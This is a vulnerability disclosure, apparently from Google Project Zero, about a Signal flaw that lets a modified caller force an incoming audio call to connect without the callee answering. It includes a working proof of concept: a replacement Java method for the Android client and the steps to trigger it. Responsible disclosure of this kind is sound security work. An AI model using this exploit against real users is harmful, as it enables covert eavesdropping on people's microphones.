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Signal Forced Call Acceptance

Signal Forced Call Acceptance
Posted Oct 5, 2019
Authored by Google Security Research, natashenka

There is a logic error in Signal that can cause an incoming call to be answered even if the callee does not pick it up.

tags | exploit
SHA-256 | 3b9a4c627b9644243c268bf86ee703b8a5487f12549034ded884f920a1b96ec3

Signal Forced Call Acceptance

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Signal: Incoming call can be connected without user interaction

There is a logic error in Signal that can cause an incoming call to be answered even if the callee does not pick it up.

In the Android client, there is a method handleCallConnected that causes the call to finish connecting. During normal use, it is called in two situations: when callee device accepts the call when the user selects 'accept', and when the caller device receives an incoming \"connect\" message indicating that the callee has accepted the call. Using a modified client, it is possible to send the \"connect\" message to a callee device when an incoming call is in progress, but has not yet been accepted by the user. This causes the call to be answered, even though the user has not interacted with the device. The connected call will only be an audio call, as the user needs to manually enable video in all calls. The iOS client has a similar logical problem, but the call is not completed due to an error in the UI caused by the unexpected sequence of states. I would recommend improving the logic in both clients, as it is possible the UI problem doesn't occur in all situations.

To reproduce this problem on the Android client, replace the method handleSetMuteAudio in the file WebRtcCallService.java with the following method.

private void handleSetMuteAudio(Intent intent) {

Log.e(TAG, \"SENDING MESSAGE\");

this.dataChannel.send(new DataChannel.Buffer(ByteBuffer.wrap(Data.newBuilder().setConnected(Connected.newBuilder().setId(this.callId)).build().toByteArray()), false));

intent.putExtra(EXTRA_CALL_ID, this.callId);
intent.putExtra(EXTRA_REMOTE_ADDRESS, recipient.getAddress());
handleCallConnected(intent);
}

Then build the client and install it and make a call. When the call is ringing, the audio mute button can be pressed to force the callee device to connect, and audio from the callee device will be audible.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.





Found by: natashenka@google.com

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